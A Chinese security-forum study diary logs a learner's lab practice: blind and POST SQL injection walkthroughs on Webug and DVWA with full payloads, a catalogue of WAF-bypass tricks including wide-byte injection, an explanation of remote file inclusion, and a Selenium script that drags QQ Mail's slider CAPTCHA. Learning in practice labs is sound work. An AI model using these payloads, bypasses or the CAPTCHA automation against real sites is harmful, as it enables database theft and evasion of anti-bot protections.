安全矩阵

 找回密码
 立即注册
搜索
楼主: only

曾玉芳学习日记

[复制链接]

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-13 21:32:43 | 显示全部楼层
本帖最后由 only 于 2020-5-13 21:35 编辑

5月13日:

Webug之延时注入
我们知道,盲注分为两种,其一是之前我们练习过的布尔注入,其二就是今天我要尝试的延时注入,这两种注入的区别呢就在于,布尔注入是通过界面的true和false来判断我们的payload是否正确,而延时注入是通过根据页面响应的时间来判断我们的payload是否正确,了解了这个之后,我们正式开始注入
首先,我们和之前的套路一样先来判断注入点,输入
  1. id = 1' and 1=1      界面不变
  2. id = 1' and 1=2      界面改变,但没有报错因此不是显错注入
复制代码
通过标题我们可以知道是延时注入,那么我们接下来进行第二步,我们爆出库的长度
这里我们需要用到一个if()和sleep()语句来帮助我们判断
  1. 1' and if(length(database())>4,sleep(3),1) %23             延时3秒
  2. 1' and if(length(database())>10,sleep(3),1) %23           立即刷新
  3. 1' and if(length(database())>7,sleep(3),1) %23           立即刷新
  4. 1' and if(length(database())=5,sleep(3),1) %23           延时3秒
复制代码

由此我们可以判断,该数据库的长度为5,接下来来猜解数据库名
  1. 1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23      延时3秒
  2. 1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23         立即刷新
  3. . . .
  4. 1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23    延时3秒
复制代码

我们可以判断第一个字母为“w”
判断第二个字符时 修改为substr(*****,2,1)
判断第二个数据库时 修改为limit 1,1
最后我们得出数据库名为“webug”
下一步我们去猜解表名
  1. id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(3))--+
复制代码
通过修改参数,然后不断测试我们可以等到该数据库里面的表有
  1. data_crud,env_list,env_path,flag,sqlinjection,user,user_test
复制代码
然后方法和布尔注入类似,先查看flag表发现flag错误,然后我们继续env_list 表
  1. id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(3))--+
复制代码
得出en_list表里面的列名id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

然后我们和布尔注入一样只需要爆出id=3里面的数据即可
  1. id=1' and if(ascii(substr((select envFlag from webug.env_list  limit 2,1),1,1))>100,1,sleep(5))--+
复制代码
limit 2,1 是从0开始的 故id=3时也就是limit 2,1  当然也可以写成下面的
id=1' and if(ascii(substr((select envFlagfrom webug.env_list where id=3),1,1))>100,1,sleep(5))--+
最后我们得出flag为gfdgdfsdg!


回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-14 21:07:28 | 显示全部楼层
本帖最后由 only 于 2020-5-14 21:09 编辑

5月14日:
Webug之post注入


今天和高数死磕了一天也真是不容易,但是,也不能忘记每天坚持学习,今天主要是继续再webug靶场里面练习,注入的方式为post注入

我们先来了解一下post注入,我们之前联系的注入都是在url上进行的,内种方式叫做get型注入,而post类型的区别就是,post注入是通过对输入框进行传参,可以被带入数据库进行的查询

那么我们现在正式开始练习,我们可以发现post的方式下页面不再和以前一样,现在已经是一个输入框了

首先判断是否存在注入点,分别在输入框里面输入
  1. 1      界面不改变
  2. 1)     界面不改变
  3. 1"     界面不改变
  4. 1'     界面报错
复制代码


接下来正式开始注入,今天采用联合注入的方式来获取列数
  1. 1' union select 1 --+                页面报错
  2. 1' union select 1,2 --+         页面正常
  3. 1' union select 1,2,3 --+         页面报错
复制代码


由此可见,字段数为2

我们探测到列数为2,我们抱着侥幸心理尝试使用      1' union select 1,user() #     看页面是否有回显,发现没有,那么只能通过盲注了。
使用bool型盲注尝试:1' and 1=1 #        1' and 1=2 #   发现页面无论与上的对象是对是错页面都没有变化
按理说他确实存在注入为啥and不好用呢,我猜测可能二者之间(查询语句和注入语句)可能有一个为假,查询不出来。我用or试了一下      1' or sleep(5) #              1' or sleep(20) # 发现确实延时,可以使用延时注入进行爆破了。
  1. 1' or if(length(database())>4,sleep(3),1) --+         延时3秒
  2. 1' or if(length(database())>10,sleep(3),1) --+        立即刷新
  3. 1' or if(length(database())>7,sleep(3),1) --+        立即刷新
  4. 1' or if(length(database())=5,sleep(3),1) --+         延时3秒
复制代码


由此可以判断,数据库长度为5

既然是延时注入,和昨天操作一样,就不再继续下去了最后,我们的到flag为dsfasdczxcg


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-16 21:25:04 | 显示全部楼层
本帖最后由 only 于 2020-5-16 21:42 编辑

5月16日:
sql注入关键词绕过小结
sql注入绕过
常用注释符:
  1. -- , /**/, #
复制代码
验证:

  1. mysql> select * from sql_test where id = /*11*/1;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码

  1. mysql> select * from sql_test where id = 3;-- select * from sql_test;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  3 | test2    | 456      |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码

  1. mysql> select * from sql_test where id = 3;# select * from sql_test;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  3 | test2    | 456      |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
这里还有一种绕过的新方式

  1. mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. |  3 | test2    | 456      |
  7. +----+----------+----------+
  8. 2 rows in set (0.00 sec)
复制代码

  1. mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
理解如下:
where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id2,3的记录
先除后判等,左往右
大小写绕过

sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的

  1. mysql> select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  3 | test2    | 456      |
  6. |  2 | test     | 234      |
  7. +----+----------+----------+
  8. 2 rows in set (0.00 sec)
复制代码


内联注释绕过

emmmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在/*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

  1. mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  3 | test2    | 456      |
  6. |  2 | test     | 234      |
  7. +----+----------+----------+
  8. 2 rows in set (0.00 sec)
复制代码
双关键字绕过
  1. ?id=1+UNIunionON+SeLselectECT+1,2,3–
复制代码
这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别
编码绕过
双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:
  1. $insert=$link->query(urldecode($_GET['id']));
  2. $row=$insert->fetch_row();
复制代码
16进制绕过:

  1. mysql> select * from sql_test where id = 3 union select  * from sql_test where username = 0x74657374;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  3 | test2    | 456      |
  6. |  2 | test     | 234      |
  7. +----+----------+----------+
  8. 2 rows in set (0.06 sec)
复制代码
  1. mysql> select  * from sql_test where username = char(116)+char(101)+char(115)+char(116);
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. |  2 | test     | 234      |
  7. |  3 | test2    | 456      |
  8. +----+----------+----------+
  9. 3 rows in set, 3 warnings (0.00 sec)
复制代码
空格绕过
waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用

  1. mysql> select(id)from(sql_test)where(id=1);
  2. +----+
  3. | id |
  4. +----+
  5. |  1 |
  6. +----+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;
  2. +----+
  3. | id |
  4. +----+
  5. |  1 |
  6. +----+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select
  2.     -> id
  3.     -> from
  4.     -> sql_test
  5.     -> where
  6.     -> id
  7.     -> =
  8.     -> 1
  9.     -> ;
  10. +----+
  11. | id |
  12. +----+
  13. |  1 |
  14. +----+
  15. 1 row in set (0.00 sec)
复制代码

注:url中%0a为回车

  1. mysql> select   username        from    sql_test        where   id=1    ;
  2. +----------+
  3. | username |
  4. +----------+
  5. | admin    |
  6. +----------+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select*from`sql_test`where`id`=1;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码

等于号绕过
拦截了等于号,我们可以用like去代替:

  1. mysql> select * from sql_test where username like 'admin';
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+

  7. 1 row in set (0.00 sec)
复制代码


逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset
  1. mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. |  2 | test     | 234      |
  7. |  3 | test2    | 456      |
  8. +----+----------+----------+
  9. 3 rows in set (0.00 sec)
复制代码

  1. mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. |  3 | test2    | 456      |
  7. +----+----------+----------+
  8. 2 rows in set (0.00 sec)
复制代码
  1. mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. |  3 | test2    | 456      |
  7. +----+----------+----------+
  8. 2 rows in set (0.00 sec)
复制代码
  1. mysql> select * from sql_test limit 1 offset 1;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码

大于号小于号拦截绕过
在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。

  1. mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.05 sec)
复制代码
  1. mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.03 sec)
复制代码
  1. mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);
  2. Empty set (0.00 sec)
复制代码
  1. mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.23 sec)
复制代码
  1. mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');
  2. Empty set (0.00 sec)
复制代码
  1. mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  1 | admin    | 123456   |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
宽字节注入
过滤单引号时,可以试试宽字节
  1. %bf%27 %df%27 %aa%27
复制代码
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
常用连接语句符号
  1. or,and,union,&&,||,^
复制代码

^指的是异或操作,通常用于布尔型盲注绕过连接词
\N,E0,.0绕过
其实相当于NULL字符

  1. mysql> select*from sql_test where id =\Nunion select * from sql_test where id=2;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)
复制代码
  1. mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. |  2 | test     | 234      |
  6. +----+----------+----------+
  7. 1 row in set (0.06 sec)
复制代码
  1. mysql> select*from sql_test where id =7E0;
  2. Empty set (0.00 sec)
复制代码
  1. mysql> select*from sql_test where id =7.0;
  2. Empty set (0.00 sec)
复制代码
  1. mysql> select*from sql_test where id =\N;
  2. Empty set (0.00 sec)
复制代码


回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-17 20:53:23 | 显示全部楼层
5月17日:

今天不知道因为什么原因,webug这个靶场打不开了,想到今天老师帮我们搭好了dvwa的环境,今天决定在dvwa这个靶场里面练习sql注入
由于之前有做过练习,所以今天只是重新做了一遍,过程就不再记录了


回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-18 23:16:14 | 显示全部楼层
本帖最后由 only 于 2020-5-18 23:19 编辑

5月18日:
DVWA之盲注
1. 判断是否存在注入,注入是字符型还是数字型
输入1'and '1'='1,判断条件正确

输入1' and '1'='2,判断条件错误

确定条件正确及错误的输出结果

2.猜解当前数据库名
我们首先来猜下数据库名的长度
输入1' and length(database())=4#

确定长度为4
然后猜数据库名字,可用二分法节省时间
  1. 输入1’ and ascii(substr(databse(),0,1))=0 #,显示存在,说明数据库名的第1个字符的ascii值为0(空字符)
  2. 输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第2个字符的ascii值大于97(小写字母a的ascii值);
  3. 输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第2个字符的ascii值小于122(小写字母z的ascii值);
  4. 输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第2个字符的ascii值小于109(小写字母m的ascii值);
  5. 输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第2个字符的ascii值小于103(小写字母g的ascii值);
  6. 输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第2个字符的ascii值不小于100(小写字母d的ascii值);
  7. 输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第2个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
复制代码

3.猜解数据库中的表名
首先猜解数据库中表的数量:
  1. 1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
  2. 1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
复制代码


说明数据库中共有两个表。

接着挨个猜解表名:
  1. 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
  2. 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

  3. 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
复制代码


说明第一个表名长度为9。
  1. 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
  2. 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
  3. 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
  4. 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
  5. 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
复制代码

说明第一个表的名字的第一个字符为小写字母g。



重复上述步骤,即可猜解出两个表名(guestbook、users)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 2020-5-19 22:32:57 | 显示全部楼层
本帖最后由 only 于 2020-5-19 22:35 编辑

5月19日:

DVWA之基于时间的盲注
今天尝试了dvwa上面的基于时间的盲注
1.判断是否存在注入,注入是字符型还是数字型
  1. 输入1' and sleep(5) #,感觉到明显延迟;
  2. 输入1' and sleep(5) #,没有延迟
复制代码
说明存在字符型的基于时间的盲注。
2.猜解当前数据库名
首先猜解数据名的长度:
  1. 1' and if(length(database())=1,sleep(5),1) # 没有延迟
  2. 1' and if(length(database())=2,sleep(5),1) # 没有延迟
  3. 1' and if(length(database())=3,sleep(5),1) # 没有延迟
  4. 1' and if(length(database())=4,sleep(5),1) # 明显延迟
复制代码
说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:
  1. 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

  2. 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
  3. 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
复制代码
说明数据库名的第一个字符为小写字母d。
重复上述步骤,即可猜解出数据库名。
接下来的过程不再赘述

回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 7 天前 | 显示全部楼层
5月20日:

文件包含之远程文件包含
之前一直在学sql注入,虽然学的不算太好,但也算结束了一个阶段的学习,而之后对sql注入的巩固主要是在练习方面,可以多尝试去注入一些加深印象,于是今天打算继续之前的学习,之前学习了本地文件包含漏洞,今天首先回顾了一遍,然后开始学习远程文件包含
远程文件包含漏洞其实和本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程代码
远程包含漏洞的前提:如果使用的include和require,则需要php.ini配置如下:
  1. Allow_url_fopen = on //默认打开

  2. Allow_url_include = on //默认关闭
复制代码
之前学的本地文件包含漏洞,他的利用是有限的,他只能去读本地的一些配置文件,还需要去猜到配置文件的一些路径,相对来说危害比较低
而远程文件包含漏洞,允许包含函数去读取远程站点上面的一些文件,也就意味着攻击者可以自己搭建一个站点,然后在上面放入代码,然后将代码通过前端传到后台,后台就会加载到远程文件,这种危害就相对很高,比如我们可以在远端写一个一句话木马,然后这段木马就能成功植入后台让本地执行

回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 6 天前 | 显示全部楼层
本帖最后由 only 于 2020-5-22 21:44 编辑

5月21日:

今天学习任务有点多,于是在学习完看了一些博客查缺补漏
回复

使用道具 举报

16

主题

84

帖子

437

积分

中级会员

Rank: 3Rank: 3

积分
437
 楼主| 发表于 5 天前 | 显示全部楼层
本帖最后由 only 于 2020-5-22 21:44 编辑

5月22日:
今天复习了一下python模拟登陆的问题

python3.8.1+selenium解决登录滑块验证的问题

这里使用的python版本是3.8.1,selenium版本是3.141.0,webdriver是谷歌,版本是81.0.4044.138(正式版本) (64 位)
webdriver各版本对应的浏览器下载地址:https://npm.taobao.org/mirrors/chromedriver,这个脚本是以qq邮箱登录为例

  1. import unittest
  2. from selenium import webdriver
  3. from time import *
  4. from selenium.webdriver import ActionChains
  5. from selenium.webdriver.common.by import By
  6. from selenium.webdriver.support import expected_conditions as EC
  7. from selenium.webdriver.support.wait import WebDriverWait

  8. def get_track(distance):
  9.     track = []
  10.     current = 0
  11.     mid = distance * 3 / 4
  12.     t = 0.2
  13.     v = 0
  14.     while current < distance:  # 定义循环条件,如果为真则继续,为假则不继续
  15.         if current < mid:  # 正常的if...else结构
  16.             a = 2 # 定义加速度
  17.         else:
  18.             a = -3
  19.         v0 = v
  20.         v = v0 + a * t  # 定义移动速度,哈哈哈,v = v0+at
  21.         move = v0 * t + 1 / 2 * a * t * t  # 定义每次滑块移动的距离,也是如此.s=v0t+1/2at**2,hahha,写这个的是高手,活学活用
  22.         current += move  # 每次遍历得到的move用current保存起来
  23.         track.append(round(move))  # 将得到的move取整添加的列表中,每次都添加到列表尾部,可以用extend多次添加和insert添加到自己想要的位置
  24.     return track  # 返回每次移动的轨迹列表

  25. class testUiProject(unittest.TestCase):

  26.     def setUp(self):
  27.         self.driver = webdriver.Chrome()  # 定义驱动器
  28.         self.url = "https://mail.qq.com/" # 定义需要访问的地址url
  29.         self.driver.implicitly_wait(30)  # 设置隐式等待时间
  30.         self.driver.set_script_timeout(45)  # 设置异步脚本加载超时时间
  31.         self.driver.set_page_load_timeout(45)  # 设置页面加载超时时间
  32.         self.driver.maximize_window()  # 设置页面窗口最大化

  33.     def test_First_Case(self):
  34.         global iframe, start_position  # 函数内部定义全局变量
  35.         driver = self.driver  # 定义浏览器驱动
  36.         driver.get(self.url)  # 得到url打开网站
  37.         username = "qq邮箱账号"  # 定义用户账户
  38.         password ="qq密码"  # 定义用户密码
  39.         driver.switch_to.frame("login_frame")  # 打开网页后,查看是否有iframe标签,如果有则需要跳转到该标签后进行定位,这里使用id定位
  40.         self.driver.find_element_by_xpath("//*[@id='u']").send_keys(username)  # 传入用户账号
  41.         self.driver.find_element_by_xpath("//*[@id='p']").send_keys(password)  # 传入用户密码
  42.         self.driver.find_element_by_id("login_button").click()  # 点击登录按钮
  43.         sleep(2)  # 等待资源加载
  44.         # driver.switch_to.default_content()  切换到顶层标签,如果之前的iframe标签和现在iframe标签不一致则需要切换,否则不需要
  45.         # driver.switch_to.frame("tcaptcha_iframe")
  46.         WebDriverWait(driver, 5, 0.5).until(
  47.             EC.presence_of_element_located((By.ID, "tcaptcha_drag_thumb"))  # 等待图片加载出来
  48.         )
  49.         try:
  50.             start_position = driver.find_element_by_id("tcaptcha_drag_thumb")  # 得到滑块的初始位置,并进行异常处理
  51.         except Exception as e:
  52.             print("get button failed: ", e)
  53.         sleep(2)  # 等待资源加载
  54.         distance = 300    # 这里根据qq邮箱的初始窗口大小得到的宽度取值
  55.         while 1:
  56.             action = ActionChains(driver)  # 定义ActionChains
  57.             action.click_and_hold(start_position).perform()  # 点击初始滑块位置并保持不释放
  58.             action.reset_actions()  # 清除之前的action
  59.             track = get_track(distance)  # 调用移动轨迹函数并传入距离distance,distance根据定位的滑块窗口大小自己设定
  60.             for i in track:   # 利用循环模拟滑块移动轨迹,xoffset是横向移动,yoffset是纵向移动,这里不纵向移动,所以yoffset=0
  61.                 action.move_by_offset(xoffset=i, yoffset=0).perform()
  62.                 action.reset_actions()  # 清除之前的action
  63.             sleep(0.5)
  64.             # action.release().perform()  释放鼠标保持点击状态,这句话可以根据需要保留,目前这里不需要保留,保留会使得循环提前终止
  65.             sleep(5)

  66.     def tearDown(self):
  67.         self.driver.quit()


  68. if __name__ == "__main__":
  69.     unittest.main()
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 04:12 , Processed in 0.014565 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表